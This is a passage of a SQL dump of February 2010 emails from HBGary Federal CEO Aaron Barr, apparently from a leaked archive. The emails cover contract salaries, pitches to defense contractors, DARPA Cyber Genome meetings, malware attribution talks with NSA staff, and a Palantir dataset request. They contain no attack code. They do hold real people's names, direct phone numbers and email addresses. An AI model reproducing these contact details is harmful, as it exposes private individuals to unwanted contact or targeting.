http://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n>\r\n> SPECIALIZING IN...\r\n>\r\n> QuickBooks/Quicken; Accounts Payable & Receivable; Payroll; Reconciliations;\r\n> Amortization Schedules & Financial Reports; Year End Reports for Tax\r\n> Preparer; Budget & Cash Flow Forecasting; Custom Spreadsheets and more...\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6113,'aaron_hbgary_com/6113.html'),(2904,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001377.M421138P3547Q2904.eml','\"Albert A. Pisani\" <albert.pisani@TASC.com>','COIN','Al,\r\n\r\nThanks for the call on Friday.  Definitely interested to talk about this effort.  For better or worse I kind of consider it my baby.  And any help you could bring on the clearance side I would be extremely grateful.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6814,'aaron_hbgary_com/6814.html'),(2905,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001377.M624938P3547Q2905.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Salaries for cost proposal','The numbers on the intrusion analysts don\'t make sense.  they are both $79K?\r\n\r\nOther than that they look fine I guess, not having a knowledge of what folks get paid down there.  Is it improper to ask Dan or Jose what they pay their folks?\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 2:23 PM, Ted Vera wrote:\r\n\r\n> Fully Burdened rates (including 6% fee- max allowed per RFP):\r\n> \r\n> $115.71   Computer Scientist, Principal\r\n> $104.14   Computer Scientist, Senior\r\n> $94.67    Computer Forensics & Intrusion Analyst, Principal\r\n> $84.15    Computer Forensics & Intrusion Analyst, Senior\r\n> \r\n> What do you think?\r\n> \r\n> \r\n> On Mon, Feb 22, 2010 at 12:13 PM, Ted Vera  wrote:\r\n>> What do you think about these salaries for Guardian - to be performed\r\n>> in San Antonio, TX.  (Salary.com data pulled for SanAntonio):\r\n>> \r\n>> Computer Scientist, Principal\r\n>> Salary.com Software Engineer V\r\n>> Midpoint $110K\r\n>> HBGary Federal Midpoint $110K\r\n>> \r\n>> Computer Scientist, Senior\r\n>> Salary.com Software Engineer IV\r\n>> Midpoint $99K\r\n>> HBGary Federal Midpoint $99K\r\n>> \r\n>> Computer Forensics & Intrusion Analyst, Principal\r\n>> Salary.com Data Security Analyst Sr.\r\n>> Midpoint $79K\r\n>> HBGary Federal Midpoint $90K (there is no salary.com equivalent to\r\n>> \"Principal\", requires 12 yrs exp)\r\n>> \r\n>> Computer Forensics & Intrusion Analyst, Senior\r\n>> Salary.com Data Security Analyst Sr.\r\n>> Midpoint $79K\r\n>> HBGary Federal Midpoint $80K\r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3258,'aaron_hbgary_com/3258.html'),(2906,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001383.M200647P3547Q2906.eml','\"Racz, James M\" <james.m.racz@lmco.com>','Re: Uno - HBGary capabilities brief','Hi Jim,\r\n\r\nAny possibility of meeting later this week?  I understand there is a new Uno task that could be right up our alley.  Plus looking forward to discussing some other ideas with you along with a capabilities brief.\r\n\r\nWe are working closely with NG Xetron on some things including the development of a threat intelligence capability that has some real teeth with a tangible approach.  So the feedback goes...\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Feb 17, 2010, at 6:37 PM, Racz, James M wrote:\r\n\r\n> WE\'re looking.......Had 1 question  however...Who paid for your extensive\r\n> analysis? Look like a lot of effort.\r\n> \r\n> Jim Racz\r\n> UNO Program\r\n> 703 466-3314\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 17, 2010 1:31 AM\r\n> To: Racz, James M\r\n> Cc: Ted Vera\r\n> Subject: Uno - HBGary capabilities brief\r\n> \r\n> Hi Jim,\r\n> \r\n> Please let me know when you are available to schedule an HBGary capabilities\r\n> briefing.  If you have some time next week that would be great.\r\n> \r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9263,'aaron_hbgary_com/9263.html'),(2907,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001385.M979389P3547Q2907.eml','\"Michael (CORP) Edwards\" <Michael.Edwards@ngc.com>','Aurora Report','Mike,\r\n\r\nAttached is our Aurora report.  There is some data that we left out of the public report for TTP reasons.  This was derived only from HBGary data with some open source analysis, but it indicates the beginnings of our approach going forward.  We need to build better models, better maps of the totality of the characteristics of the threat.  In doing that we can better define the evolution of the threat, lineage, attribution, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3850,'aaron_hbgary_com/3850.html'),(2908,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001386.M256623P3547Q2908.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','Where do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good?AaronOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:Sounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,ChrisFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week.AaronOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:Hi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;Hotmail: Free, trusted and rich email service.&nbsp;Get it now.Aaron BarrCEOHBGary Federal Inc.Hotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5820,'aaron_hbgary_com/5820.html'),(2909,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001386.M468421P3547Q2909.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Matt,\r\n\r\nSorry if this is a duplicate but can\'t tell if I responded or not.  How about 2nd or 3rd?  I am pretty open that week as I was supposed to go to RSA but canceled.\r\n\r\nAaron\r\n\r\nOn Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n\r\n> Next week is pretty booked at this point.\r\n> \r\n> How about the first week of march (other than 1 March)?\r\n> \r\n> Afternoons are good at this point.\r\n> \r\n> Matt \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 18, 2010 9:11 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> How about next Thursday?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\"  wrote:\r\n> \r\n>> What dates/times are good for you?\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Yes we can come up.  When are some good dates?\r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> I am interested.\r\n>>> \r\n>>> What is the best way to meet?\r\n>>> \r\n>>> Can you come here?\r\n>>> \r\n>>> Is this related to Responder Pro?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Dave/Barry/Matt,\r\n>>> \r\n>>> I am very interested to discuss our different efforts/capabilities \r\n>>> related to malware genomes/catalogs.  Please let me know when \r\n>>> convenient to get together.\r\n>>> \r\n>>> Thank you,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>> \r\n>>>> Ralph,\r\n>>>> \r\n>>>>  Thanks for reminding me about this one.\r\n>>>> \r\n>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>> \r\n>>>> Vergle\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>> Parkes;\r\n>>> \r\n>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle,\r\n>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>> Aaron\r\n>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>> Have\r\n>>>> not seen any response since this was raised in early December.\r\n>>>> \r\n>>>> Also, pls see recent news article below:\r\n>>>> \r\n>>>> \'Cyber Genome Project\': The military scientists want to establish a \r\n>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>> investigatory technologies\".\r\n>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>> cyber_genome_project/\r\n>>>> \r\n>>>> VR,\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>> To: Gipson, Vergle\r\n>>>> Subject: FW: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle:\r\n>>>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n> \r\n>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>> (which\r\n>>> \r\n>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>> Malicious\r\n>>> \r\n>>>> Code Catalog efforts).\r\n>>>> \r\n>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>> was\r\n>> \r\n>>>> holding back on responding til he saw your comments/guidance.\r\n>>>> \r\n>>>> \r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Hi Ralph,\r\n>>>> \r\n>>>> Happy New Year.\r\n>>>> \r\n>>>> I am still very interested to talk to folks there about the \r\n>>>> Malicious\r\n>> \r\n>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>> with\r\n>>> \r\n>>>> Palantir and are working on a partnership with Netwitness and maybe \r\n>>>> 1\r\n>> \r\n>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>> something really substantial can be put together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>> Respectfully,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>> To: \'Aaron Barr\'\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Aaron,\r\n>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>> briefly at Leesburg.\r\n>>>>> \r\n>>>>> I have pushed your info to those within my Agency who are working \r\n>>>>> with\r\n>>>> \r\n>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>> next\r\n>>> \r\n>>>>> week, no one has reached-out to you, pls email me again and I will \r\n>>>>> follow up with them.\r\n>>>>> \r\n>>>>> Sincerely,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>> Malware\r\n>>>> \r\n>>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>> Technical\r\n>> \r\n>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>> ago\r\n>> \r\n>>>>> if we can make headway against attribution I would have said no, \r\n>>>>> not\r\n>> \r\n>>>>> until we have better situational awareness, network \r\n>>>>> characterization,\r\n>>> \r\n>>>>> CND/CNE integration, etc.\r\n>>>>> \r\n>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>> where\r\n>> \r\n>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>> starting to make associations of authorship across malware.  I \r\n>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>> had\r\n>>>> an aha moment.\r\n>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>> seriously going to take a crack at attribution.\r\n>>>>> \r\n>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>>>>> would love to talk with them and combine efforts if appropriate to \r\n>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>> \r\n>>>>> Thank You,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> 301.652.8885 x117\r\n>>>>> 719.510.8478\r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5084,'aaron_hbgary_com/5084.html'),(2910,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001386.M655890P3547Q2910.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Millersville','Tom,I have been getting a lot of negative feedback about Millersville in talking with a lot of different companies, universities, and government at the DARPA Cyber Genome industry day. &nbsp;This conversation starts with me talking about partnering with Northrop working on some threat intelligence capabilities (generic). &nbsp;Once I mention its with Xetron not Millersville the tone changes. Just thought it was good information to share with you.\r\nAaron BarrCEOHBGary Federal Inc.',13441,'aaron_hbgary_com/13441.html'),(2911,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001386.M844196P3547Q2911.eml','\"Rich Cummings\" <rich@hbgary.com>','Fwd: Datasets','We don\'t have anything like this do we?AaronBegin forwarded message:From: Aaron Zollman &lt;azollman@palantirtech.com&gt;Date: February 19, 2010 12:41:40 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: DatasetsHello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6538,'aaron_hbgary_com/6538.html'),(2912,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001387.M205698P3547Q2913.eml','\"Abe Usher\" <abraham.usher@ngc.com>','iphone/itouch','Hey Abe,\r\n\r\nDo you have iphone/itouch development experience?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6910,'aaron_hbgary_com/6910.html'),(2913,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001387.M22145P3547Q2912.eml','\"Jonathan George\" <jonathan.k.george@gmail.com>','iphone/ipod touch','Jonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10667,'aaron_hbgary_com/10667.html'),(2914,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001387.M611725P3547Q2914.eml','\"Abe Usher\" <abe.usher@gmail.com>','iphone/itouch','Hi Abe,\r\n\r\nAny experience developing for iphone/itouch?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12651,'aaron_hbgary_com/12651.html'),(2915,'2010-02-22','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001387.M812522P3547Q2915.eml','aaron@hbgary.com','Re: Millersville','\r\nDo you get a sense for what causes the negative feelings? People (most likely), which ones, and what is the antibody producing behavior? Probably not much we can do about it though, short of new management. How did your trip to Zetron go? \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.Sent: Mon Feb 22 14:56:11 2010Subject: Millersville\r\nTom,I have been getting a lot of negative feedback about Millersville in talking with a lot of different companies, universities, and government at the DARPA Cyber Genome industry day. &nbsp;This conversation starts with me talking about partnering with Northrop working on some threat intelligence capabilities (generic). &nbsp;Once I mention its with Xetron not Millersville the tone changes. Just thought it was good information to share with you.\r\nAaron BarrCEOHBGary Federal Inc.',2170,'aaron_hbgary_com/2170.html'),(2916,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001388.M112561P3547Q2916.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Millersville','Phrases were they don\'t understand/listen to the customer, and are not producing anything of value. &nbsp;This came from folks from GMU, a few small companies, AGNOSC, Sourcefire. &nbsp;It was just shocking to get that much negative input in a short period of time. &nbsp;I figured there was not a lot of recourse but thought it was feedback you should hear.Meeting with Xetron went very well. &nbsp;I was impressed with NGES Information Geometry capability. &nbsp;I had a meeting with Mike Van Putte today and discussed our Threat Intelligence concept. &nbsp;He was interested in our approach but it sounded to evolutionary for his funding. &nbsp;A few other government folks, that were sitting with him that represent part of the end customers for the cyber genome, caught us later and said what we were developing was exactly what was needed and no one is approaching it that way. &nbsp;Good input. &nbsp;We will continue to press.AaronOn Feb 22, 2010, at 4:20 PM, Conroy, Thomas W. wrote:\r\nDo you get a sense for what causes the negative feelings? People (most likely), which ones, and what is the antibody producing behavior? Probably not much we can do about it though, short of new management. How did your trip to Zetron go? \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Mon Feb 22 14:56:11 2010Subject: Millersville\r\n\r\nTom,I have been getting a lot of negative feedback about Millersville in talking with a lot of different companies, universities, and government at the DARPA Cyber Genome industry day. &nbsp;This conversation starts with me talking about partnering with Northrop working on some threat intelligence capabilities (generic). &nbsp;Once I mention its with Xetron not Millersville the tone changes. Just thought it was good information to share with you.\r\nAaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3337,'aaron_hbgary_com/3337.html'),(2917,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001388.M319799P3547Q2917.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Bill Thompson\" <Bill.Thompson2@ngc.com>','Good Input','I was at the DARPA cyber genome proposers day and had 15 minutes with Van Putte.  He was interested in our Threat Intelligence Center concept but said it sounded to evolutionary for funding as it is.  But a few government folks that represented the \"end customers\" stopped us later and told us that what we were developing was exactly what was needed and that no one is approaching it this way.  Good input.\r\n\r\nBrian call me when you get a chance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8860,'aaron_hbgary_com/8860.html'),(2918,'2010-02-22','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001388.M516135P3547Q2918.eml','aaron@hbgary.com','Re: Millersville','\r\nPhew. Heavy. I\'m on my way to the Leadership Conference and I\'ll try to carry the message. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.Sent: Mon Feb 22 15:27:17 2010Subject: Re: Millersville\r\nPhrases were they don\'t understand/listen to the customer, and are not producing anything of value. &nbsp;This came from folks from GMU, a few small companies, AGNOSC, Sourcefire. &nbsp;It was just shocking to get that much negative input in a short period of time. &nbsp;I figured there was not a lot of recourse but thought it was feedback you should hear.Meeting with Xetron went very well. &nbsp;I was impressed with NGES Information Geometry capability. &nbsp;I had a meeting with Mike Van Putte today and discussed our Threat Intelligence concept. &nbsp;He was interested in our approach but it sounded to evolutionary for his funding. &nbsp;A few other government folks, that were sitting with him that represent part of the end customers for the cyber genome, caught us later and said what we were developing was exactly what was needed and no one is approaching it that way. &nbsp;Good input. &nbsp;We will continue to press.AaronOn Feb 22, 2010, at 4:20 PM, Conroy, Thomas W. wrote:\r\nDo you get a sense for what causes the negative feelings? People (most likely), which ones, and what is the antibody producing behavior? Probably not much we can do about it though, short of new management. How did your trip to Zetron go? \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Mon Feb 22 14:56:11 2010Subject: Millersville\r\n\r\nTom,I have been getting a lot of negative feedback about Millersville in talking with a lot of different companies, universities, and government at the DARPA Cyber Genome industry day. &nbsp;This conversation starts with me talking about partnering with Northrop working on some threat intelligence capabilities (generic). &nbsp;Once I mention its with Xetron not Millersville the tone changes. Just thought it was good information to share with you.\r\nAaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',178,'aaron_hbgary_com/178.html'),(2919,'2010-02-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001388.M707550P3547Q2919.eml','aaron@hbgary.com','Re: Good Input','\r\n\r\n\r\n\r\n\r\nRe: Good Input\r\n\r\n\r\n\r\n\r\nIn rush hour.&nbsp; Let me get to airport.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\nSent: Mon Feb 22 15:29:52 2010\r\nSubject: Good Input\r\n\r\nI was at the DARPA cyber genome proposers day and had 15 minutes with Van Putte.&nbsp; He was interested in our Threat Intelligence Center concept but said it sounded to evolutionary for funding as it is.&nbsp; But a few government folks that represented the &quot;end customers&quot; stopped us later and told us that what we were developing was exactly what was needed and that no one is approaching it this way.&nbsp; Good input.\r\n\r\nBrian call me when you get a chance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',937,'aaron_hbgary_com/937.html'),(2920,'2010-02-22','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001388.M923284P3547Q2920.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Good Input','Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That is\r\nwhen they allow capabilities pitches.  I will be available until around\r\nnoon.\r\n\r\nbillt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 4:30 PM\r\nTo: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\nSubject: Good Input\r\n\r\nI was at the DARPA cyber genome proposers day and had 15 minutes with\r\nVan Putte.  He was interested in our Threat Intelligence Center concept\r\nbut said it sounded to evolutionary for funding as it is.  But a few\r\ngovernment folks that represented the \"end customers\" stopped us later\r\nand told us that what we were developing was exactly what was needed and\r\nthat no one is approaching it this way.  Good input.\r\n\r\nBrian call me when you get a chance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14792,'aaron_hbgary_com/14792.html'),(2921,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001389.M121980P3547Q2921.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Good Input','ok lets shoot for it then.  Earlier the better for me.  So this is to LM or customer?  Where would we do it?\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That is\r\n> when they allow capabilities pitches.  I will be available until around\r\n> noon.\r\n> \r\n> billt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 4:30 PM\r\n> To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n> Subject: Good Input\r\n> \r\n> I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n> Van Putte.  He was interested in our Threat Intelligence Center concept\r\n> but said it sounded to evolutionary for funding as it is.  But a few\r\n> government folks that represented the \"end customers\" stopped us later\r\n> and told us that what we were developing was exactly what was needed and\r\n> that no one is approaching it this way.  Good input.\r\n> \r\n> Brian call me when you get a chance.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7167,'aaron_hbgary_com/7167.html'),(2922,'2010-02-22','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001389.M314161P3547Q2922.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Good Input','I thought we were going to LM and you were getting an appt with Jim Racz\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 4:40 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\nok lets shoot for it then.  Earlier the better for me.  So this is to LM\r\nor customer?  Where would we do it?\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That\r\nis\r\n> when they allow capabilities pitches.  I will be available 